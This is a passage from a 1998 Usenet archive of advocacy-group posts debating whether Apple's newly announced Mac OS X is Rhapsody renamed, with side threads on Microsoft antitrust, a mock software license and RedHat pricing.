> character for him and not surprising. Why would that surprise you? Ever
> since OS8, Jobs has been moving the Mac OS away from hardware backwards
> compatibility. You need to remember that unlike M$, Apple sells hardware
> and that hardware is *the* major part of Apple's revenue stream.
Yes, well check what a reader said on www.macnn.com "Mac OS X will be PPC
native and G3-optimized (not G3-only!)". Also, Apple's press release didn't
say 'we will not support older PowerMacs'. It said 'we will support the new
PowerMacs'. What do you think customers might ask when buying a new Mac?
They will want to know if will run the newer OSes. Apple has given them
thier answer.
> > Rhapsody is supposed to ship Q3 '98 according to the keynote address.
> > Rhapsody will ship! The Yellow Box will be present in Mac OS X too!
>
> Obviously, Apple is predicting it won't meet users' expectations, hence
> this pre-announcement to hopefully deflect attention away from Rhapsody
> and towards an OS about two years out which has barely left the drawing
> board. Isn't that obvious?
Well, I think there is some small truth to what you say. The issue is that
Rhapsody 1.0 will not meet the expectations of the average consumer. As it
starts out it will probably not be suitable as a mainstream Mac OS
replacement. I will use it as soon as it comes out, but I doubt that the
majority of Mac users will. It is not that it will be buggy or slow or
anything like that (though that may be), the problem is that its interface
won't be polished enough, its hardware issues not entirely worked through,
and the Blue Box/Yellow Box difference will not be adequately transparent.
This has been brewing for a while now. I think that people who saw the
first release of Rhapsody as a mainstream Mac OS replacement were deluding
themselves. Rhapsody will very likely grow into such a role (as seems to be
planned with Mac OS X), but it will *not start out in such a role*.
> > For those who weren't going to make the investment required for an entire
> > rewrite anyway, there is the Carbon API which will allow them to quickly
> > modify their current Mac OS apps to be able to take advantage of
> > PM/PMT/VM/etc.
>
> That's the PR spiel, of course. Right now, as Apple is largely a "PR"
> company, what else is new?
So you explain why Carbon is there. You explain why Apple is going to the
trouble to have the YB+Carbon+BB in a single mainstream targetted OS. Is it
because Rhasody is dead? No, Mac OS X _is_ Rhapsody.
Repeate after me:
Mac OS X is Rhapsody renamed.
Mac OS X is Rhapsody renamed.
Mac OS X is Rhapsody renamed.
Mac OS X is Rhapsody renamed.
> > Let's not be too hasty there. Things may in fact be bad. Perhaps Apple will
> > drop the Yellow Box and Rhapsody and all that, but you can't conclude that
> > just based on today's news.
>
> Oh, come on. Ever since day one of Apple's NeXT acquisition and the
> formulation of Rhapsody, Jobs has been backpedaling seriously. He's been
> very vocal about the importance of the "crown jewel" Mac OS and
> relatively silent on Rhapsody. Even now that Jobs says openly that Mac
> OS 10 is far more important to the company than Rhapsody, some Mac users
> continue to substitute their own person preferences for what Jobs
> actually says. Go figure.
Mac OS X _is_ Rhapsody. They are _not_ different things. Mac OS X is just
Rhapsody renamed and extended for better backwards compatibility.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Tue, 12 May 1998 12:47:35 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35588B37.3790@CONVEX.COM>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com> <35568A1C.467C3E71@nstar.net> <wAB51.973$0A3.4513475@news.itd.umich.edu>
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not@my.address.net wrote:
>
> On 05/10/98, "Michael J. Peck" wrote:
>
> [ ... some pious, self-indulgent prose followed by the following "deep" quote
> ... ]
Mmmm, pious, self-indulgent. What a conveniently meaningless criticism.
> >In the words of David Forte:
>
> > ... a virtuous person without freedom is a contradiction in terms."
> >
>
> Really? Let's check. "He was honest, courageous, kind, and humble -- even
> though he was imprisoned for a crime which he did not commit." Sounds coherent
> to me. Certainly not in the same league as "He was taller than himself".
Lack of coherency wasn't the objection, but I'm sure you can read that
for yourself. My personal opinion of Forte's point is that he's speaking
not of a literally meaningless phrase, on the basis of syntax (as you
seem to assume), but rather on the basis of a contradiction in terms as
understood from a worldview which proclaims liberty and virtue for their
own sakes.
Consider the oxymoronic "act naturally". Is it literally impossible to
imagine someone who is acting and simultaneously appears "natural"?
Obviously not. However, Forte's point (I believe) is that this
"contradiction in terms" is such because the natures of the two terms
compared are antithetical to each other. Is it impossible to imagine
virtue existing in captivity? Of course not; we have many examples of
this in history. Are virtue and oppression at odds, or in contradiction,
with each other in the human soul? Absolutely.
Forte did not describe "a virtuous person with freedom" as an
impossibility. He claimed that it was a "contradiction in terms". I hope
I've helped to clear up your misunderstanding on this.
MJP
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 17:50:49 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ja25p$gjj$1@news.cs.tu-berlin.de>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <ericb-1105981859560001@132.236.171.104>
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ericb@pobox.com (Eric Bennett) writes:
>In article <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>,
>pulsar@springnet1.com (Pulsar) wrote:
>> Mac OS X sounds rather like Gershwin, Copland, OpenStep, and the Mac OS
>> combined. That'll be neat if they can pull it off.
>True, but you have to admit that their track record is hardly inspiring.
The cool thing is that it is really just a relabelin/re-packaging
of existing technology:
Rhapsody ( a port of OpenStep + kernel updates + UI changes )
BlueBox ( a MacOS 8.x with Mach 'device-driver/enabler' )
Latitude ( at least that's what 'Carbon' sounds like to me)
The only thing that's really changed is the marketing message.
They don't call it Rhapsody + MaxOS penalty box + MacOS porting
aid, the call it 'MacOS X' instead.
Add a little RDF, stir, voila!
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 17:35:42 GMT
Organization: Cygnus Solutions
Message-ID: <6ja19e$660$2@cronkite.cygnus.com>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com>
<6j8k7c$e5$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6j8k7c$e5$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <slrn6lfj6b.l9u.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>
> > On 12 May 1998 03:25:17 GMT, Sean Luke <seanl@cs.umd.edu> wrote:
>
> > >- Rhapsody will be "superceded" by MacOS X. Not complemented by.
>
> > But MacOS X uses Rhapsody's Mach+BSD4.4 foundation and Dev tools.
>
> The "BSD4.4" part is not yet clear. I'm anxiously waiting to hear
> about that.
>
> > >- MacOS X will have a "subset" of the Yellow Box APIS
>
> > Where did *anything* say that? Check out http://www.stepwise.com/ and
read
> > Scotts WWDC notes on the topic. MacOS X will have *full* YB frameworks
> > along with the Carbon frameworks and the Java frameworks.
>
> He was referring to, "The new system will combine Mac APIs
> with Rhapsody's Mach kernel and selected Yellow and Blue
> box capabilities," with note to "selected", a quote from
> http://www.zdnet.com/macweek/mw_1219/nw_wwdcexec.html.
>
> > >- MacOS X will use QuickDraw as its drawing language (hence the
"subset")
>
> > Huh? Where did it say that DPS is being replaced?
>
> Same article. This appears to be uncontestable. :( (But it doesn't
> mean that Yellow won't use DPS -- it probably does a Windows/Yellow-style
> approach -- just that the native imager is QuickDraw.)
>
> > >- If you "carbonize" your code, it's compatible with MacOS X. But
existing
> > > Yellow Box apps aren't necessarily compatible, especially if they rely
on
> > > Display PostScript.
>
> > Also where did they say this?
>
> Well, given the "DPS is being removed thing", that would follow. But I
> don't think it is.
>
Actually, in the Macweek article you reference, they say they may move to DPS
in the future.
From the MacWeek article, it sounds much more to me like MacOS X isn't
superceeding/replacing Rhapsody at all. As they said, they're trying to not
reproduce the Copeland mistake of re-doing every aspect of the OS in one
swoop. That means that instead they're doing it one piece at a time. Today
it's the core OS, and thus deleting the parts of the API that aren't
compatible with the upgraded core.
They are shipping a backward compatability engine (blue box) for those
programs that depend on the old API's. Plus they're shipping a forward
compatability engine (the [subset of] the yellow box). The former provides
stability for now, the latter makes room for stability as they continue the
revamping of the OS in later versions.
They are keeping Quickdraw, which provides stability for now. But they also
make hints that DPS may still be in the future.
The statments strike me that MacOS X is an interim step from traditional
MacOS -> MacOS X -> Rhapsody.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Software licenses
Date: 12 May 1998 17:49:17 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ja22t$cjn@newsb.netnews.att.com>
References: <6j7n0h$6fq@newsb.netnews.att.com> <3557A482.EF67C60A@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>>
>> While we argue about Microsoft and free market nonsense,
>> our freedom is being taken from us.
>
>[cut]
>
>I haven't the first clue what the posted material has to with freedom at
>all, except perhaps the possibility that in the future, software
>developers will have the freedom to create licenses to protect their
>hard work as they wish.
This post is copyrighted work of the undersigned, and
a shareware license can be purchased from the undersigned
for the sum of US $1.00.
The reader is forbidden from writing detailed criticism
of this post or quoting it in any written, published or
electronic forum without permission of the copyright holder.
Simply following the UCC, and protecting my hard work.
-arun gupta
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 12 May 1998 17:57:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lh3bu.l2e.sal@panix3.panix.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <35585EBF.8EA3C9C7@nstar.net>
On Tue, 12 May 1998 09:37:51 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Actually, most people are reading this all wrong: MacOS X will actually
>be backward-compatible with Rhapsody and MacOS, but everyone's missing
>the "X" part, which my sources tell me hints at the high-speed X11R6.4
>server the new OS will include. The Rhapsody libraries are being
<sarcasm><cheap-shot>
Did your sources report any dancing pink elephants? Did your sources
have "the munches" following this report?
:)
</cheap-shot></sarcasm>
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
Date: Tue, 12 May 1998 13:00:58 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35588E5A.5E27@CONVEX.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net> <IfW51.1190$0A3.5351018@news.itd.umich.edu>
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not@my.address.net wrote:
[cut]
> Does the New York Times know the difference between an operating system and an
> API? What part of Rhapsody does the New York Times think won't be part of
> MacOSX? The Mach kernel? The Java VM? The YellowBox API's? ... or is it the
> only the name "Rhapsody"?
This is one of the worst failings of Jobs' PR machine. The public
understands computers as "things". They can even understand the concept
of software, but they understand it as a bunch of "things" as well. They
know software in terms of "operating system" and "applications", and
sometimes can be made to understand "technologies", but always only as
"things".
Apple has always talked about software and technology in terms of
things. There were the QuickTime thing, the QuickDraw GX thing, the
Newton thing, and the GameSprockets thing. It's impossible to stay
current on the nuances of all software technologies even if you try, and
most don't try, so this nomenclature of discreet "things" works for
almost everyone who uses it, including Microsoft and Apple.
Unfortunately, one of the worst effects of Jobs' secrecy campaign has
been to muddy the verbiage with almost no sense of defining borders
around "things". There was a Rhapsody thing, and there was a Blue Box
thing (wonderful execution, there). But from there, it just got bad and
worse. What was the Yellow Box thing? Most people had no idea. What
things were in Rhapsody to make it useful? Most people had nothing to
cling to.
Now it's at its worst. What is the MacOS X thing? What is in it? What
things will it have? We know of the Carbon thing (excellent), but what
else do we know? Of course we know much more, but I dare you to explain
it to your neighbor.
Microsoft's whole IE problem is tied up in the definition of "things".
What is the IE thing, exactly? At what point does it end and the Windows
"thing" begin? Failing to define its terms has been Microsoft's worst
mistake in the whole affair.
Jobs would do well to learn this lesson quickly. The faster Apple can
begin promising discreet "things" and shipping them to actual people,
the faster the media will convince itself that Apple is turning around
and busting things up. Unfortunately, I can't see anything in the
pipeline to fulfill that: Rhapsody is already being considered a "dead
thing" and any enthusiasm the press might've had for the Allegro thing
has already been co-opted by the MacOS X thing.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 12 May 1998 13:02:40 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35588EC0.3673@CONVEX.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net>
<6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net>
<6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com>
<3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9>
<355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com> <SCOTT.98May8144249@slave.doubleu.com>
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Scott Hess wrote:
[cut]
Wow, good post.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 18:06:36 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ja33c$coa@newsb.netnews.att.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
Originator: gupta@tlctest
Pulsar <pulsar@springnet1.com> wrote:
>
>Well, I think there is some small truth to what you say. The issue is that
>Rhapsody 1.0 will not meet the expectations of the average consumer. As it
>starts out it will probably not be suitable as a mainstream Mac OS
>replacement. I will use it as soon as it comes out, but I doubt that the
>majority of Mac users will. It is not that it will be buggy or slow or
>anything like that (though that may be), the problem is that its interface
>won't be polished enough, its hardware issues not entirely worked through,
>and the Blue Box/Yellow Box difference will not be adequately transparent.
I think that Rhapsody 1.0 on PowerPC will only lack applications
-- such as those from Adobe, Microsoft, Macromedia, Intuit etc.,
and that is the only reason why it would not be suitable as a
mainstream OS.
Rhapsody 1.0 for Intel may very well have hardware issues.
-arun gupta
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Software licenses
Date: Tue, 12 May 1998 13:11:47 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <355890E3.17D8@CONVEX.COM>
References: <6j7n0h$6fq@newsb.netnews.att.com> <3557A482.EF67C60A@nstar.net> <6ja22t$cjn@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >I haven't the first clue what the posted material has to with freedom at
> >all, except perhaps the possibility that in the future, software
> >developers will have the freedom to create licenses to protect their
> >hard work as they wish.
>
> This post is copyrighted work of the undersigned, and
> a shareware license can be purchased from the undersigned
> for the sum of US $1.00.
>
> The reader is forbidden from writing detailed criticism
> of this post or quoting it in any written, published or
> electronic forum without permission of the copyright holder.
I have nothing to say about your post, but I will say that I don't like
your license and I don't approve of your attitude, and therefore I am
not willing to purchase anything from you.
[Killfile entry added]
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 18:13:02 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lh49e.l2e.sal@panix3.panix.com>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com> <6ja0u1$s5r$1@interport.net>
On 12 May 1998 13:29:37 -0400, float@interport.net <float@interport.net> wrote:
>Salvatore Denaro (sal@panix3.panix.com) wrote:
>: But MacOS X uses Rhapsody's Mach+BSD4.4 foundation and Dev tools.
>: So who cares what they call it? They can call it NewtonOS 3,000
>: for all I care.
>How do you know that MacOS X will have the BSD4.4 stuff? Do you have a
>pointer? If you have one, and it's not to a rumors site, I'll buy you a
>beer. (Are you going to the Linux UG thing tomorrow night on Third Ave.?)
From the Apple PR statment (you can find a link to it on Stepwise):
"Rhapsody contains technologies key to Mac OS X, including a microkernel
based core OS and an advanced software development environment"
"microkernel" == Mach
"Core OS != Mach. (Mach is *NOT* an OS, it is a kernel.)
"Core OS" == BSD4.4
"advanced software development environment" == YellowBox
"Mac OS X" == Rhapsody CR2
An early version of Carbon was shown running on DR2. It would seem that all
Carbon development is being done on Rhapsody (based on the note from the
metroworks guy)
And if they have Bass Ale on tap, I'll be at the LXNY meeting. :)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 10:51:43 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1205981051430001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100>
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In article <35593b48.6388203@198.0.0.100>, nhughes@sunflower.com wrote:
> Mac mantra 1996:
>
> When copland comes out its gonna be way better than NT
>
> Mac mantra 1997:
>
> When Rhapsody comes out, its gonna kick NTs butt.
>
> Mac mantra 1998:
>
> Macos10 comes out, NT's going down.
Sorry, wrong.
It is still: When Rhapsody comes out, it's gonna kick NTs butt.
But now, there's also: When MacOS X comes out, all your old Mac apps will
have modern OS features. Even Windows95 couldn't pull that off.
> Ok, boys you know the new words... start chanting.
Why? Rhapsody is still coming out when it was before, and it'll still do
the things it did before.
> Seriously though, has anyone here noticed that apple seems to announce
> a "revolutionary" new OS about every 18 months? there is a word for
> that... Vapor.
No, the word for that is "progress." Now, if Apple had cancelled Rhapsody
completely, and then announced MacOS X as the replacement, THAT would be a
bad thing. But Rhapsody is still coming out, and it is far from vapor.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 10:58:39 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1205981058390001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <355752ce.469474@198.0.0.100>
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In article <355752ce.469474@198.0.0.100>, nhughes@sunflower.com wrote:
> Who's complaining? I wouldn't count on or expect anything from
> apple so I have nothing to complain about. I just think it is pretty
> comical watching you guys pledge a new allegiance every 18 moths or
> so.
I'm not pledging a new allegiance; Mac OS X is still Rhapsody, just with
new features added on. A rose by any other name....
> > Rhapsody IS
> >GOING TO SHIP.
>
> I used to listen to mac users say copland was going to ship.
Copland never had a single developer release. Rhapsody has had two, and by
all accounts is very stable. This bodes much better for Rhapsody.
> I even
> heard one or two say Exponential was going to ship.
But since Exp couldn't get the performance, instead we have G3s which have
better performance. What's the problem there?
> Besides that, wasn't Rhapsody supposed to ship this spring? That was
> the apple line last year.
Yes, it's been delayed about three months. However, the delayed version
will have more features. The June release was supposed to be to customers,
with no Blue Box. Now, the September release will be for customers, WITH a
Blue Box (instead of January '99). So the customer release is three months
late, but the Blue Box is three months early. Looks like a wash to me.
> Mac owners have been bait_N_switched at least since copland. OS7.7,
> errr, 8 anyone?
Name another "bait-and-switch" since then. That's the same old one that you
seem to keep harping on.
Andy Bates.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 12:18:11 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35588453.6DD10BC8@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com>
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Rex Riley wrote:
> What's real interesting?
What?
> Nobody is picking up on the backstory that no Mac Developer's deemed the Mac
> marketplace worthy of a "new" application or a "rewrite" to Rhapsody.
Ouch! That's as good as the Carbon was created to support Microsoft.
From: Anders Ohlsson <anders@common.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Tue, 12 May 1998 20:19:41 +0200
Organization: substandard
Message-ID: <355892AC.EC9C767F@common.se>
References: <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <6j7474$k3t$1@new-news.cc.brandeis.edu>
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Nathan G. Raymond wrote:
> Markets are not either/or. It's not either living under a beurocrat's
>
> thumb or not. Just study the Scandanavian system of government and
> its
> relationship to big business to see what I mean.
If your advocating antitrust legislation you shouldn't use us up here as
an example. Such stuff only complicates politics...
/A
From: float@interport.net
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Followup-To: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Date: 12 May 1998 14:18:27 -0400
Organization: Interport Communications Corp.
Message-ID: <6ja3pj$283$1@interport.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <35540431.47775518@common.se>
Anders Ohlsson (anders@common.se) wrote:
: Noninterventionist economists are not "guilty" of anything and certainly
: don't need any "MS mantras" to sustain their views.
Please explain the difference between "nonintervention" and "refusing to
enforce the laws of the land".
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Followup-To: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Date: 12 May 1998 14:21:24 -0400
Organization: Interport Communications Corp.
Message-ID: <6ja3v4$2fv$1@interport.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <35538B51.C5BFA834@alum.mit.edu> <6ivi5b$oou$1@ns3.vrx.net> <3553C565.323D7457@alum.mit.edu> <joe.ragosta-0905980730390001@elk74.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: The best part about this is that they copyright "Windows" (I don't know
: about "Word") and forbid anyone from using it.
Nope, "Windows" is too generic to be trademarked, they haven't done it.
: Can you say "hypocracy"?
How about "hypocrisy"? ;-)
--
Ben
<Just Another System Administrator>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <nagleEsux1B.KyJ@netcom.com>
Organization: Netcom On-Line Services
References: <nagleEsto5z.E8C@netcom.com> <B17DDD1E-2634C@209.109.225.96> <35585CA7.CA000CA8@milestonerdl.com>
Date: Tue, 12 May 1998 18:36:47 GMT
Sender: nagle@netcom6.netcom.com
M Rassbach <mark@milestonerdl.com> writes:
>Benjamin Smith wrote:
>> Rhapsody wasn't getting developers.
>Could there be ANY tie in between Apple NOT getting developers, and the way
>Apple has treated them in the past?
Yes.
John Nagle
Former Mac developer
Current NT developer
From: float@interport.net
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Followup-To: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Date: 12 May 1998 14:39:27 -0400
Organization: Interport Communications Corp.
Message-ID: <6ja50v$3v4$1@interport.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <edewEsrCMo.Fzn@netcom.com>
Eric Dew (edew@netcom.com) wrote:
: Didn't Gates attend Hahvahd? Maybe there's still some "honorary alumnus"
: contribution thing going on?
I don't believe he graduated.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Date: 12 May 1998 14:43:49 -0400
Organization: Interport Communications Corp.
Message-ID: <6ja595$49m$1@interport.net>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <1d8q5gj.17qnilxg9rrdzN@pppsl552.chicagonet.net>
Why not just run OPENSTEP on a non-broken architecture?
I haven't seen an operating system that runs really well on a PC, because
the PC is a piece of shite.
Edwin E. Thorne (ethorne@chicagonet.net) wrote:
: 1. Raise your PC above your head with both hands.
: 2. Throw it down against a cement floor as hard as you can.
: 3. Sweep up the pieces.
: 4. Obtain another PC and resume with step # 1.
: 5 Repeat steps 1 through 4 until Openstep works as desired, or until
: all available PCs are exhausted, whichever comes first.
--
Ben
<Just Another System Administrator>
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 12 May 1998 18:42:57 GMT
Organization: Michigan State University
Message-ID: <6ja57h$t7c$3@msunews.cl.msu.edu>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu>
<6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net>
<6ir6mg$6ej@bgtnsc03.worldnet.att.net> <6irtmn$r1i$4@ns3.vrx.net>
<slrn6l3kt8.2pd.sal@panix3.panix.com> <SCOTT.98May7225008@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98May7225008@slave.doubleu.com> Scott Hess wrote:
> In article <slrn6l3kt8.2pd.sal@panix3.panix.com>,
> sal@panix3.panix.com (Salvatore Denaro) writes:
> On 7 May 1998 09:08:39 GMT, Maury Markowitz,
> <maury@remove_this.istar.ca> wrote:
> >In <6ir6mg$6ej@bgtnsc03.worldnet.att.net> Peter Koren claimed:
> >> I don't think that the Linux users will refuse to pay for
> >> Rhapsody if it is sanely priced.
> > Good!
>
> "Sanely priced" is a relative measure. A guy at the local software
> store that I go to, told me that the $30 official RedHat5 out
sells the
> $12.50 InfoMagic RedHat5 bundle. Why would people pay more?
Perceived
> value.
>
> That's not all that's at work, though. I installed RedHat5.0 over
the
> net with ftp (behind a 1.5Mbit connection). So, in a sense I got it
> for "free". I like it so much that I'm considering buying a copy.
If
> I do so, I'll be purchasing the $50 version directly from RedHat as a
> show of support for their efforts. Purchasing from InfoMagic
wouldn't
> support RedHat as directly, nor would purchasing from a retail
> establishment (because they'd take their cut - though on the other
> hand, it would keep RedHat on the shelves. There's a moral dilemma
> for you :-).
Same here. I downloaded the install tree over ISDN for 4.2 and 5.0 and
dumped them on optical. In general I'm pretty happy with redhat.
I had a client that wanted two boxed copies I purchased them happily
to support the redhat folks. One thing you get on the CD that you
don't
get in the distribution is BRU2000 - not perfect but pretty darn good
GUI backup tool. It was nice that Netscape came on the CD's too,
but I can download that also.
> So, I'm treating it essentially as shareware.
Yep me too. I prefer reasons to support people - for good
cheap/initially
